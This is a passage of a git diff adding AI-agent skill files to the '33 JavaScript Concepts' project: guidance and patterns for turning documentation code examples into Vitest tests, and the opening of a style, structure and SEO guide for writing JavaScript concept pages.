Return Values + +**Documentation:** +```javascript +function greet(name) { + return "Hello, " + name + "!" +} + +console.log(greet("Alice")) // "Hello, Alice!" +``` + +**Test:** +```javascript +// From lines XX-YY: greet function example +it('should return greeting with name', () => { + function greet(name) { + return "Hello, " + name + "!" + } + + expect(greet("Alice")).toBe("Hello, Alice!") +}) +``` + +--- + +### Pattern 4: Error Testing + +**Documentation:** +```javascript +// This throws an error! +const obj = null +console.log(obj.property) // TypeError: Cannot read property of null +``` + +**Test:** +```javascript +// From lines XX-YY: Accessing property of null +it('should throw TypeError when accessing property of null', () => { + const obj = null + + expect(() => { + obj.property + }).toThrow(TypeError) +}) +``` + +--- + +### Pattern 5: Specific Error Messages + +**Documentation:** +```javascript +function divide(a, b) { + if (b === 0) throw new Error("Cannot divide by zero") + return a / b +} +``` + +**Test:** +```javascript +// From lines XX-YY: divide function with error +it('should throw error when dividing by zero', () => { + function divide(a, b) { + if (b === 0) throw new Error("Cannot divide by zero") + return a / b + } + + expect(() => divide(10, 0)).toThrow("Cannot divide by zero") + expect(divide(10, 2)).toBe(5) +}) +``` + +--- + +### Pattern 6: Async/Await Testing + +**Documentation:** +```javascript +async function fetchUser(id) { + const response = await fetch(`/api/users/${id}`) + return response.json() +} +``` + +**Test:** +```javascript +// From lines XX-YY: async fetchUser function +it('should fetch user data asynchronously', async () => { + // Mock fetch for testing + global.fetch = vi.fn(() => + Promise.resolve({ + json: () => Promise.resolve({ id: 1, name: 'Alice' }) + }) + ) + + async function fetchUser(id) { + const response = await fetch(`/api/users/${id}`) + return response.json() + } + + const user = await fetchUser(1) + expect(user).toEqual({ id: 1, name: 'Alice' }) +}) +``` + +--- + +### Pattern 7: Promise Testing + +**Documentation:** +```javascript +const promise = new Promise((resolve) => { + resolve("done") +}) + +promise.then(result => console.log(result)) // "done" +``` + +**Test:** +```javascript +// From lines XX-YY: Basic Promise resolution +it('should resolve with correct value', async () => { + const promise = new Promise((resolve) => { + resolve("done") + }) + + await expect(promise).resolves.toBe("done") +}) +``` + +--- + +### Pattern 8: Promise Rejection + +**Documentation:** +```javascript +const promise = new Promise((resolve, reject) => { + reject(new Error("Something went wrong")) +}) +``` + +**Test:** +```javascript +// From lines XX-YY: Promise rejection +it('should reject with error', async () => { + const promise = new Promise((resolve, reject) => { + reject(new Error("Something went wrong")) + }) + + await expect(promise).rejects.toThrow("Something went wrong") +}) +``` + +--- + +### Pattern 9: Floating Point Comparison + +**Documentation:** +```javascript +console.log(0.1 + 0.2) // 0.30000000000000004 +console.log(0.1 + 0.2 === 0.3) // false +``` + +**Test:** +```javascript +// From lines XX-YY: Floating point precision +it('should demonstrate floating point imprecision', () => { + expect(0.1 + 0.2).not.toBe(0.3) + expect(0.1 + 0.2).toBeCloseTo(0.3) + expect(0.1 + 0.2 === 0.3).toBe(false) +}) +``` + +--- + +### Pattern 10: Array Method Testing + +**Documentation:** +```javascript +const numbers = [1, 2, 3, 4, 5] +const doubled = numbers.map(n => n * 2) +console.log(doubled) // [2, 4, 6, 8, 10] +``` + +**Test:** +```javascript +// From lines XX-YY: Array map example +it('should double all numbers in array', () => { + const numbers = [1, 2, 3, 4, 5] + const doubled = numbers.map(n => n * 2) + + expect(doubled).toEqual([2, 4, 6, 8, 10]) + expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged +}) +``` + +--- + +### Pattern 11: Object Mutation Testing + +**Documentation:** +```javascript +const obj = { a: 1 } +obj.b = 2 +console.log(obj) // { a: 1, b: 2 } +``` + +**Test:** +```javascript +// From lines XX-YY: Object mutation +it('should allow adding properties to objects', () => { + const obj = { a: 1 } + obj.b = 2 + + expect(obj).toEqual({ a: 1, b: 2 }) +}) +``` + +--- + +### Pattern 12: Closure Testing + +**Documentation:** +```javascript +function counter() { + let count = 0 + return function() { + count++ + return count + } +} + +const increment = counter() +console.log(increment()) // 1 +console.log(increment()) // 2 +console.log(increment()) // 3 +``` + +**Test:** +```javascript +// From lines XX-YY: Closure counter example +it('should maintain state across calls via closure', () => { + function counter() { + let count = 0 + return function() { + count++ + return count + } + } + + const increment = counter() + expect(increment()).toBe(1) + expect(increment()).toBe(2) + expect(increment()).toBe(3) +}) + +it('should create independent counters', () => { + function counter() { + let count = 0 + return function() { + count++ + return count + } + } + + const counter1 = counter() + const counter2 = counter() + + expect(counter1()).toBe(1) + expect(counter1()).toBe(2) + expect(counter2()).toBe(1) // Independent +}) +``` + +--- + +### Pattern 13: DOM Event Testing + +**Documentation:** +```javascript +const button = document.getElementById('myButton') +button.addEventListener('click', function(event) { + console.log('Button clicked!') + console.log(event.type) // "click" +}) +``` + +**Test (in .dom.test.js file):** +```javascript +/** + * @vitest-environment jsdom + */ +import { describe, it, expect, beforeEach, afterEach } from 'vitest' + +describe('DOM Event Handlers', () => { + let button + + beforeEach(() => { + button = document.createElement('button') + button.id = 'myButton' + document.body.appendChild(button) + }) + + afterEach(() => { + document.body.innerHTML = '' + }) + + // From lines XX-YY: Button click event + it('should fire click event handler', () => { + const output = [] + + button.addEventListener('click', function(event) { + output.push('Button clicked!') + output.push(event.type) + }) + + button.click() + + expect(output).toEqual(['Button clicked!', 'click']) + }) +}) +``` + +--- + +### Pattern 14: DOM Manipulation Testing + +**Documentation:** +```javascript +const div = document.createElement('div') +div.textContent = 'Hello' +div.classList.add('greeting') +document.body.appendChild(div) +``` + +**Test:** +```javascript +// From lines XX-YY: Creating and appending elements +it('should create element with text and class', () => { + const div = document.createElement('div') + div.textContent = 'Hello' + div.classList.add('greeting') + document.body.appendChild(div) + + const element = document.querySelector('.greeting') + expect(element).not.toBeNull() + expect(element.textContent).toBe('Hello') + expect(element.classList.contains('greeting')).toBe(true) +}) +``` + +--- + +### Pattern 15: Timer Testing + +**Documentation:** +```javascript +console.log('First') +setTimeout(() => console.log('Second'), 0) +console.log('Third') +// Output: First, Third, Second +``` + +**Test:** +```javascript +// From lines XX-YY: setTimeout execution order +it('should execute setTimeout callback after synchronous code', async () => { + const output = [] + + output.push('First') + setTimeout(() => output.push('Second'), 0) + output.push('Third') + + // Wait for setTimeout to execute + await new Promise(resolve => setTimeout(resolve, 10)) + + expect(output).toEqual(['First', 'Third', 'Second']) +}) +``` + +--- + +### Pattern 16: Strict Mode Behavior + +**Documentation:** +```javascript +// In strict mode, this throws +"use strict" +x = 10 // ReferenceError: x is not defined +``` + +**Test:** +```javascript +// From lines XX-YY: Strict mode variable declaration +it('should throw ReferenceError in strict mode for undeclared variables', () => { + // Vitest runs in strict mode by default + expect(() => { + // Using eval to test strict mode behavior + "use strict" + eval('undeclaredVar = 10') + }).toThrow() +}) +``` + +--- + +## Complete Test File Template + +```javascript +import { describe, it, expect } from 'vitest' + +describe('[Concept Name]', () => { + // ============================================================ + // [FIRST SECTION NAME FROM DOCUMENTATION] + // From [concept].mdx lines XX-YY + // ============================================================ + + describe('[First Section]', () => { + // From lines XX-YY: [Brief description of example] + it('should [expected behavior]', () => { + // Code from documentation + + expect(result).toBe(expected) + }) + + // From lines XX-YY: [Brief description of next example] + it('should [another expected behavior]', () => { + // Code from documentation + + expect(result).toEqual(expected) + }) + }) + + // ============================================================ + // [SECOND SECTION NAME FROM DOCUMENTATION] + // From [concept].mdx lines XX-YY + // ============================================================ + + describe('[Second Section]', () => { + // From lines XX-YY: [Description] + it('should [behavior]', () => { + // Test + }) + }) + + // ============================================================ + // EDGE CASES AND COMMON MISTAKES + // From [concept].mdx lines XX-YY + // ============================================================ + + describe('Edge Cases', () => { + // From lines XX-YY: [Edge case description] + it('should handle [edge case]', () => { + // Test + }) + }) + + describe('Common Mistakes', () => { + // From lines XX-YY: Wrong way example + it('should demonstrate the incorrect behavior', () => { + // Test showing why the "wrong" way fails + }) + + // From lines XX-YY: Correct way example + it('should demonstrate the correct behavior', () => { + // Test showing the right approach + }) + }) +}) +``` + +--- + +## Complete DOM Test File Template + +```javascript +/** + * @vitest-environment jsdom + */ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' + +// ============================================================ +// DOM EXAMPLES FROM [CONCEPT NAME] +// From [concept].mdx lines XX-YY +// ============================================================ + +describe('[Concept Name] - DOM', () => { + // Shared setup + let container + + beforeEach(() => { + // Create a fresh container for each test + container = document.createElement('div') + container.id = 'test-container' + document.body.appendChild(container) + }) + + afterEach(() => { + // Clean up after each test + document.body.innerHTML = '' + vi.restoreAllMocks() + }) + + // ============================================================ + // [SECTION NAME] + // From lines XX-YY + // ============================================================ + + describe('[Section Name]', () => { + // From lines XX-YY: [Example description] + it('should [expected DOM behavior]', () => { + // Setup + const element = document.createElement('div') + container.appendChild(element) + + // Action + element.textContent = 'Hello' + + // Assert + expect(element.textContent).toBe('Hello') + }) + }) + + // ============================================================ + // EVENT HANDLING + // From lines XX-YY + // ============================================================ + + describe('Event Handling', () => { + // From lines XX-YY: Click event example + it('should handle click events', () => { + const button = document.createElement('button') + container.appendChild(button) + + let clicked = false + button.addEventListener('click', () => { + clicked = true + }) + + button.click() + + expect(clicked).toBe(true) + }) + }) +}) +``` + +--- + +## Running Tests + +```bash +# Run all tests +npm test + +# Run tests for specific concept +npm test -- tests/fundamentals/primitive-types/ + +# Run tests for specific file +npm test -- tests/fundamentals/primitive-types/primitive-types.test.js + +# Run DOM tests only +npm test -- tests/fundamentals/primitive-types/primitive-types.dom.test.js + +# Run with watch mode +npm run test:watch + +# Run with coverage +npm run test:coverage + +# Run with verbose output +npm test -- --reporter=verbose +``` + +--- + +## Quality Checklist + +### Completeness +- [ ] All testable code examples have corresponding tests +- [ ] Tests organized by documentation sections +- [ ] Source line references included in comments (From lines XX-YY) +- [ ] DOM tests in separate `.dom.test.js` file +- [ ] Edge cases and error examples tested + +### Correctness +- [ ] Tests verify the actual documented behavior +- [ ] Output comments in docs match test expectations +- [ ] Async tests properly use async/await +- [ ] Error tests use correct `toThrow` pattern +- [ ] Floating point comparisons use `toBeCloseTo` +- [ ] Object comparisons use `toEqual` (not `toBe`) + +### Convention +- [ ] Uses explicit imports from vitest +- [ ] Follows describe/it nesting pattern +- [ ] Test names start with "should" +- [ ] Proper file naming (`{concept}.test.js`) +- [ ] DOM tests have jsdom environment directive + +### Verification +- [ ] All tests pass: `npm test -- tests/{category}/{concept}/` +- [ ] No skipped tests without documented reason +- [ ] No false positives (tests that pass for wrong reasons) + +--- + +## Test Report Template + +Use this template to document test coverage for a concept page. + +```markdown +# Test Coverage Report: [Concept Name] + +**Concept Page:** `/docs/concepts/[slug].mdx` +**Test File:** `/tests/{category}/{concept}/{concept}.test.js` +**DOM Test File:** `/tests/{category}/{concept}/{concept}.dom.test.js` (if applicable) +**Date:** YYYY-MM-DD +**Author:** [Name/Claude] + +## Summary + +| Metric | Count | +|--------|-------| +| Total Code Examples in Doc | XX | +| Testable Examples | XX | +| Tests Written | XX | +| DOM Tests Written | XX | +| Skipped (with reason) | XX | + +## Tests by Section + +| Section | Line Range | Examples | Tests | Status | +|---------|------------|----------|-------|--------| +| [Section 1] | XX-YY | X | X | ✅ | +| [Section 2] | XX-YY | X | X | ✅ | +| [Section 3] | XX-YY | X | X | ⚠️ (1 skipped) | + +## Skipped Examples + +| Line | Example Description | Reason | +|------|---------------------|--------| +| XX | ASCII diagram of call stack | Conceptual, not executable | +| YY | Browser fetch example | Requires network, mocked instead | + +## Test Execution + +```bash +npm test -- tests/{category}/{concept}/ +``` + +**Result:** ✅ XX passing | ❌ X failing | ⏭️ X skipped + +## Notes + +[Any special considerations, mock requirements, or issues encountered] +``` + +--- + +## Common Issues and Solutions + +### Issue: Test passes but shouldn't + +**Problem:** Test expectations don't match documentation output + +**Solution:** Double-check the expected value matches the `console.log` comment exactly + +```javascript +// Documentation says: console.log(result) // [1, 2, 3] +// Make sure test uses: +expect(result).toEqual([1, 2, 3]) // NOT toBe for arrays +``` + +### Issue: Async test times out + +**Problem:** Async test never resolves + +**Solution:** Ensure all promises are awaited and async function is marked + +```javascript +// Bad +it('should fetch data', () => { + const data = fetchData() // Missing await! + expect(data).toBeDefined() +}) + +// Good +it('should fetch data', async () => { + const data = await fetchData() + expect(data).toBeDefined() +}) +``` + +### Issue: DOM test fails with "document is not defined" + +**Problem:** Missing jsdom environment + +**Solution:** Add environment directive at top of file + +```javascript +/** + * @vitest-environment jsdom + */ +``` + +### Issue: Test isolation problems + +**Problem:** Tests affect each other + +**Solution:** Use beforeEach/afterEach for cleanup + +```javascript +afterEach(() => { + document.body.innerHTML = '' + vi.restoreAllMocks() +}) +``` + +--- + +## Summary + +When writing tests for a concept page: + +1. **Extract all code examples** from the documentation +2. **Categorize** as testable, DOM, error, or conceptual +3. **Create test file** in correct location with proper naming +4. **Convert each example** to test using appropriate pattern +5. **Reference source lines** in comments for traceability +6. **Run tests** to verify all pass +7. **Document coverage** using the report template + +**Remember:** Tests serve two purposes: +1. Verify documentation is accurate +2. Catch regressions if code examples are updated + +Every testable code example in the documentation should have a corresponding test. If an example can't be tested, document why. diff --git a/.opencode/skill/write-concept/SKILL.md b/.opencode/skill/write-concept/SKILL.md new file mode 100644 index 00000000..26fd5a6a --- /dev/null +++ b/.opencode/skill/write-concept/SKILL.md @@ -0,0 +1,1444 @@ +--- +name: write-concept +description: Write or review JavaScript concept documentation pages for the 33 JavaScript Concepts project, following strict structure and quality guidelines +--- + +# Skill: Write JavaScript Concept Documentation + +Use this skill when writing or improving concept documentation pages for the 33 JavaScript Concepts project. + +## When to Use + +- Creating a new concept page in `/docs/concepts/` +- Rewriting or significantly improving an existing concept page +- Reviewing an existing concept page for quality and completeness +- Adding explanatory content to a concept + +## Target Audience + +Remember: **the reader might be someone who has never coded before or is just learning JavaScript**. Write with empathy for beginners while still providing depth for intermediate developers. Make complex topics feel approachable and never assume prior knowledge without linking to prerequisites. + +## Writing Guidelines + +### Voice and Tone + +- **Conversational but authoritative**: Write like you're explaining to a smart friend +- **Encouraging**: Make complex topics feel approachable +- **Practical**: Focus on real-world applications and use cases +- **Concise**: Respect the reader's time; avoid unnecessary verbosity +- **Question-driven**: Open sections with questions the reader might have + +### Avoiding AI-Generated Language + +Your writing must sound human, not AI-generated. Here are specific patterns to avoid: + +#### Words and Phrases to Avoid + +| ❌ Avoid | ✓ Use Instead | +|----------|---------------| +| "Master [concept]" | "Learn [concept]" | +| "dramatically easier/better" | "much easier" or "cleaner" | +| "one fundamental thing" | "one simple thing" | +| "one of the most important concepts" | "This is a big one" | +| "essential points" | "key things to remember" | +| "understanding X deeply improves" | "knowing X well makes Y easier" | +| "To truly understand" | "Let's look at" or "Here's how" | +| "This is crucial" | "This trips people up" | +| "It's worth noting that" | Just state the thing directly | +| "It's important to remember" | "Don't forget:" or "Remember:" | +| "In order to" | "To" | +| "Due to the fact that" | "Because" | +| "At the end of the day" | Remove entirely | +| "When it comes to" | Remove or rephrase | +| "In this section, we will" | Just start explaining | +| "As mentioned earlier" | Remove or link to the section | + +#### Repetitive Emphasis Patterns + +Don't use the same lead-in pattern repeatedly. Vary your emphasis: + +| Instead of repeating... | Vary with... | +|------------------------|--------------| +| "Key insight:" | "Don't forget:", "The pattern:", "Here's the thing:" | +| "Best practice:" | "Pro tip:", "Quick check:", "A good habit:" | +| "Important:" | "Watch out:", "Heads up:", "Note:" | +| "Remember:" | "Keep in mind:", "The rule:", "Think of it this way:" | + +#### Em Dash (—) Overuse + +AI-generated text overuses em dashes. Limit their use and prefer periods, commas, or colons: + +| ❌ Em Dash Overuse | ✓ Better Alternative | +|-------------------|---------------------| +| "async/await — syntactic sugar that..." | "async/await. It's syntactic sugar that..." | +| "understand Promises — async/await is built..." | "understand Promises. async/await is built..." | +| "doesn't throw an error — you just get..." | "doesn't throw an error. You just get..." | +| "outside of async functions — but only in..." | "outside of async functions, but only in..." | +| "Fails fast — if any Promise rejects..." | "Fails fast. If any Promise rejects..." | +| "achieve the same thing — the choice..." | "achieve the same thing. The choice..." | + +**When em dashes ARE acceptable:** +- In Key Takeaways section (consistent formatting for the numbered list) +- In MDN card titles (e.g., "async function — MDN") +- In interview answer step-by-step explanations (structured formatting) +- Sparingly when a true parenthetical aside reads naturally + +**Rule of thumb:** If you have more than 10-15 em dashes in a 1500-word document outside of structured sections, you're overusing them. After writing, search for "—" and evaluate each one. + +#### Superlatives and Filler Words + +Avoid vague superlatives that add no information: + +| ❌ Avoid | ✓ Use Instead | +|----------|---------------| +| "dramatically" | "much" or remove entirely | +| "fundamentally" | "simply" or be specific about what's fundamental | +| "incredibly" | remove or be specific | +| "extremely" | remove or be specific | +| "absolutely" | remove | +| "basically" | remove (if you need it, you're not explaining clearly) | +| "essentially" | remove or just explain directly | +| "very" | remove or use a stronger word | +| "really" | remove | +| "actually" | remove (unless correcting a misconception) | +| "In fact" | remove (just state the fact) | +| "Interestingly" | remove (let the reader decide if it's interesting) | + +#### Stiff/Formal Phrases + +Replace formal academic-style phrases with conversational alternatives: + +| ❌ Stiff | ✓ Conversational | +|---------|------------------| +| "It should be noted that" | "Note that" or just state it | +| "One might wonder" | "You might wonder" | +| "This enables developers to" | "This lets you" | +| "The aforementioned" | "this" or name it again | +| "Subsequently" | "Then" or "Next" | +| "Utilize" | "Use" | +| "Commence" | "Start" | +| "Prior to" | "Before" | +| "In the event that" | "If" | +| "A considerable amount of" | "A lot of" or "Many" | + +#### Playful Touches (Use Sparingly) + +Add occasional human touches to make the content feel less robotic, but don't overdo it: + +```javascript +// ✓ Good: One playful comment per section +// Callback hell - nested so deep you need a flashlight + +// ✓ Good: Conversational aside +// forEach and async don't play well together — it just fires and forgets: + +// ✓ Good: Relatable frustration +// Finally, error handling that doesn't make you want to flip a table. + +// ❌ Bad: Trying too hard +// Callback hell - it's like a Russian nesting doll had a baby with a spaghetti monster! 🍝 + +// ❌ Bad: Forced humor +// Let's dive into the AMAZING world of Promises! 🎉🚀 +``` + +**Guidelines:** +- One or two playful touches per major section is enough +- Humor should arise naturally from the content +- Avoid emojis in body text (they're fine in comments occasionally) +- Don't explain your jokes +- If a playful line doesn't work, just be direct instead + +### Page Structure (Follow This Exactly) + +Every concept page MUST follow this structure in this exact order: + +```mdx +--- +title: "Concept Name: [Hook] in JavaScript" +sidebarTitle: "Concept Name: [Hook]" +description: "SEO-friendly description in 150-160 characters starting with action word" +--- + +[Opening hook - Start with engaging questions that make the reader curious] +[Example: "How does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API?"] + +[Immediately show a simple code example demonstrating the concept] + +```javascript +// This is how you [do the thing] in JavaScript +const example = doSomething() +console.log(example) // Expected output +``` + +[Brief explanation connecting to what they'll learn, with **[inline MDN links](https://developer.mozilla.org/...)** for key terms] + +<Info> +**What you'll learn in this guide:** +- Key learning outcome 1 +- Key learning outcome 2 +- Key learning outcome 3 +- Key learning outcome 4 (aim for 5-7 items) +</Info> + +<Warning> +[Optional: Prerequisites or important notices - place AFTER Info box] +**Prerequisite:** This guide assumes you understand [Related Concept](/concepts/related-concept). If you're not comfortable with that yet, read that guide first! +</Warning> + +--- + +## [First Major Section - e.g., "What is X?"] + +[Core explanation with inline MDN links for any new terms/APIs introduced] + +[Optional: CardGroup with MDN reference links for this section] + +--- + +## [Analogy Section - e.g., "The Restaurant Analogy"] + +[Relatable real-world analogy that makes the concept click] + +[ASCII art diagram visualizing the concept] + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ DIAGRAM TITLE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ [Visual representation of the concept] │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## [Core Concepts Section] + +[Deep dive with code examples, tables, and Mintlify components] + +<Steps> + <Step title="Step 1"> + Explanation of the first step + </Step> + <Step title="Step 2"> + Explanation of the second step + </Step> +</Steps> + +<AccordionGroup> + <Accordion title="Subtopic 1"> + Detailed explanation with code examples + </Accordion> + <Accordion title="Subtopic 2"> + Detailed explanation with code examples + </Accordion> +</AccordionGroup> + +<Tip> +**Quick Rule of Thumb:** [Memorable summary or mnemonic] +</Tip> + +--- + +## [The API/Implementation Section] + +[How to actually use the concept in code] + +### Basic Usage + +```javascript +// Basic example with step-by-step comments +// Step 1: Do this +const step1 = something() + +// Step 2: Then this +const step2 = somethingElse(step1) + +// Step 3: Finally +console.log(step2) // Expected output +``` + +### [Advanced Pattern] + +```javascript +// More complex real-world example +``` + +--- + +## [Common Mistakes Section - e.g., "The #1 Fetch Mistake"] + +[Highlight the most common mistake developers make] + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ VISUAL COMPARISON │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ WRONG WAY RIGHT WAY │ +│ ───────── ───────── │ +│ • Problem 1 • Solution 1 │ +│ • Problem 2 • Solution 2 │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +```javascript +// ❌ WRONG - Explanation of why this is wrong +const bad = wrongApproach() + +// ✓ CORRECT - Explanation of the right way +const good = correctApproach() +``` + +<Warning> +**The Trap:** [Clear explanation of what goes wrong and why] +</Warning> + +--- + +## [Advanced Patterns Section] + +[Real-world patterns and best practices] + +### Pattern Name + +```javascript +// Reusable pattern with practical application +async function realWorldExample() { + // Implementation +} + +// Usage +const result = await realWorldExample() +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **First key point** — Brief explanation + +2. **Second key point** — Brief explanation + +3. **Third key point** — Brief explanation + +4. **Fourth key point** — Brief explanation + +5. **Fifth key point** — Brief explanation + +[Aim for 8-10 key takeaways that summarize everything] +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: [Specific question about the concept]"> + **Answer:** + + [Clear explanation] + + ```javascript + // Code example demonstrating the answer + ``` + </Accordion> + + <Accordion title="Question 2: [Another question]"> + **Answer:** + + [Clear explanation with code if needed] + </Accordion> + + [Aim for 5-6 questions covering the main topics] +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Related Concept 1" icon="icon-name" href="/concepts/slug"> + How it connects to this concept + </Card> + <Card title="Related Concept 2" icon="icon-name" href="/concepts/slug"> + How it connects to this concept + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Main Topic — MDN" icon="book" href="https://developer.mozilla.org/..."> + Official MDN documentation for the main concept + </Card> + <Card title="Related API — MDN" icon="book" href="https://developer.mozilla.org/..."> + Additional MDN reference + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="Article Title" icon="newspaper" href="https://..."> + Brief description of what the reader will learn from this article. + </Card> + [Aim for 4-6 high-quality articles] +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="Video Title" icon="video" href="https://..."> + Brief description of what the video covers. + </Card> + [Aim for 3-4 quality videos] +</CardGroup> +``` + +--- + +## SEO Guidelines + +SEO (Search Engine Optimization) is **critical** for this project. Each concept page should rank for the various ways developers search for that concept. Our goal is to appear in search results for queries like: + +- "what is [concept] in JavaScript" +- "how does [concept] work in JavaScript" +- "[concept] JavaScript explained" +- "[concept] JavaScript tutorial" +- "JavaScript [concept] example" + +Every writing decision — from title to structure to word choice — should consider search intent. + +--- + +### Target Keywords for Each Concept + +Each concept page targets a **keyword cluster** — the family of related search queries. Before writing, identify these for your concept: + +| Keyword Type | Pattern | Example (DOM) | +|--------------|---------|---------------| +| **Primary** | [concept] + JavaScript | "DOM JavaScript", "JavaScript DOM" | +| **What is** | what is [concept] in JavaScript | "what is the DOM in JavaScript" | +| **How does** | how does [concept] work | "how does the DOM work in JavaScript" | +| **How to** | how to [action] with [concept] | "how to manipulate the DOM" | +| **Tutorial** | [concept] tutorial/guide/explained | "DOM tutorial JavaScript" | +| **Comparison** | [concept] vs [related] | "DOM vs virtual DOM" | + +**More Keyword Cluster Examples:** + +<AccordionGroup> + <Accordion title="Closures Keyword Cluster"> + | Type | Keywords | + |------|----------| + | Primary | "JavaScript closures", "closures in JavaScript" | + | What is | "what is a closure in JavaScript", "what are closures" | + | How does | "how do closures work in JavaScript", "how closures work" | + | Why use | "why use closures JavaScript", "closure use cases" | + | Example | "JavaScript closure example", "closure examples" | + | Interview | "closure interview questions JavaScript" | + </Accordion> + + <Accordion title="Promises Keyword Cluster"> + | Type | Keywords | + |------|----------| + | Primary | "JavaScript Promises", "Promises in JavaScript" | + | What is | "what is a Promise in JavaScript", "what are Promises" | + | How does | "how do Promises work", "how Promises work JavaScript" | + | How to | "how to use Promises", "how to chain Promises" | + | Comparison | "Promises vs callbacks", "Promises vs async await" | + | Error | "Promise error handling", "Promise catch" | + </Accordion> + + <Accordion title="Event Loop Keyword Cluster"> + | Type | Keywords | + |------|----------| + | Primary | "JavaScript event loop", "event loop JavaScript" | + | What is | "what is the event loop in JavaScript" | + | How does | "how does the event loop work", "how event loop works" | + | Visual | "event loop explained", "event loop visualization" | + | Related | "call stack and event loop", "task queue JavaScript" | + </Accordion> + + <Accordion title="Call Stack Keyword Cluster"> + | Type | Keywords | + |------|----------| + | Primary | "JavaScript call stack", "call stack JavaScript" | + | What is | "what is the call stack in JavaScript" | + | How does | "how does the call stack work" | + | Error | "call stack overflow JavaScript", "maximum call stack size exceeded" | + | Visual | "call stack explained", "call stack visualization" | + </Accordion> +</AccordionGroup> + +--- + +### Title Tag Optimization + +The frontmatter has **two title fields**: +- `title` — The page's `<title>` tag (SEO, appears in search results) +- `sidebarTitle` — The sidebar navigation text (cleaner, no "JavaScript" since we're on a JS site) + +**The Two-Title Pattern:** + +```mdx +--- +title: "Closures: How Functions Remember Their Scope in JavaScript" +sidebarTitle: "Closures: How Functions Remember Their Scope" +--- +``` + +- **`title`** ends with "in JavaScript" for SEO keyword placement +- **`sidebarTitle`** omits "JavaScript" for cleaner navigation + +**Rules:** +1. **50-60 characters** ideal length for `title` (Google truncates longer titles) +2. **Concept name first** — lead with the topic, "JavaScript" comes at the end +3. **Add a hook** — what will the reader understand or be able to do? +4. **Be specific** — generic titles don't rank + +**Title Formulas That Work:** + +``` +title: "[Concept]: [What You'll Understand] in JavaScript" +sidebarTitle: "[Concept]: [What You'll Understand]" + +title: "[Concept]: [Benefit or Outcome] in JavaScript" +sidebarTitle: "[Concept]: [Benefit or Outcome]" +``` + +**Title Examples:** + +| ❌ Bad | ✓ title (SEO) | ✓ sidebarTitle (Navigation) | +|--------|---------------|----------------------------| +| `"Closures"` | `"Closures: How Functions Remember Their Scope in JavaScript"` | `"Closures: How Functions Remember Their Scope"` | +| `"DOM"` | `"DOM: How Browsers Represent Web Pages in JavaScript"` | `"DOM: How Browsers Represent Web Pages"` | +| `"Promises"` | `"Promises: Handling Async Operations in JavaScript"` | `"Promises: Handling Async Operations"` | +| `"Call Stack"` | `"Call Stack: How Function Execution Works in JavaScript"` | `"Call Stack: How Function Execution Works"` | +| `"Event Loop"` | `"Event Loop: How Async Code Actually Runs in JavaScript"` | `"Event Loop: How Async Code Actually Runs"` | +| `"Scope"` | `"Scope and Closures: Variable Visibility in JavaScript"` | `"Scope and Closures: Variable Visibility"` | +| `"this"` | `"this: How Context Binding Works in JavaScript"` | `"this: How Context Binding Works"` | +| `"Prototype"` | `"Prototype Chain: Understanding Inheritance in JavaScript"` | `"Prototype Chain: Understanding Inheritance"` | + +**Character Count Check:** +Before finalizing, verify your `title` length: +- Under 50 chars: Consider adding more descriptive context +- 50-60 chars: Perfect length +- Over 60 chars: Will be truncated in search results — shorten it + +--- + +### Meta Description Optimization + +The `description` field becomes the meta description — **the snippet users see in search results**. A compelling description increases click-through rate. + +**Rules:** +1. **150-160 characters** maximum (Google truncates longer descriptions) +2. **Include primary keyword** in the first half +3. **Include secondary keywords** naturally if space allows +4. **Start with an action word** — "Learn", "Understand", "Discover" (avoid "Master" — sounds AI-generated) +5. **Promise specific value** — what will they learn? +6. **End with a hook** — give them a reason to click + +**Description Formula:** + +``` +[Action word] [what the concept is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3]. +``` + +**Description Examples:** + +| Concept | ❌ Too Short (Low CTR) | ✓ SEO-Optimized (150-160 chars) | +|---------|----------------------|--------------------------------| +| DOM | `"Understanding the DOM"` | `"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering."` | +| Closures | `"Functions that remember"` | `"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns."` | +| Promises | `"Async JavaScript"` | `"Understand JavaScript Promises for handling asynchronous operations. Learn to create, chain, and combine Promises, handle errors properly, and write cleaner async code."` | +| Event Loop | `"How async works"` | `"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking."` | +| Call Stack | `"Function execution"` | `"Learn how the JavaScript call stack tracks function execution. Understand stack frames, execution context, stack overflow errors, and how recursion affects the stack."` | +| this | `"Understanding this"` | `"Learn the 'this' keyword in JavaScript and how context binding works. Covers the four binding rules, arrow function behavior, and how to use call, apply, and bind."` | + +**Character Count Check:** +- Under 120 chars: You're leaving value on the table — add more specifics +- 150-160 chars: Optimal length +- Over 160 chars: Will be truncated — edit ruthlessly + +--- + +### Keyword Placement Strategy + +Keywords must appear in strategic locations — but **always naturally**. Keyword stuffing hurts rankings. + +**Priority Placement Locations:** + +| Priority | Location | How to Include | +|----------|----------|----------------| +| 🔴 Critical | Title | Primary keyword in first half | +| 🔴 Critical | Meta description | Primary keyword + 1-2 secondary | +| 🔴 Critical | First paragraph | Natural mention within first 100 words | +| 🟠 High | H2 headings | Question-format headings with keywords | +| 🟠 High | "What you'll learn" box | Topic-related phrases | +| 🟡 Medium | H3 subheadings | Related keywords and concepts | +| 🟡 Medium | Key Takeaways | Reinforce main keywords naturally | +| 🟢 Good | Alt text | If using images, include keywords | + +**Example: Keyword Placement for DOM Page** + +```mdx +--- +title: 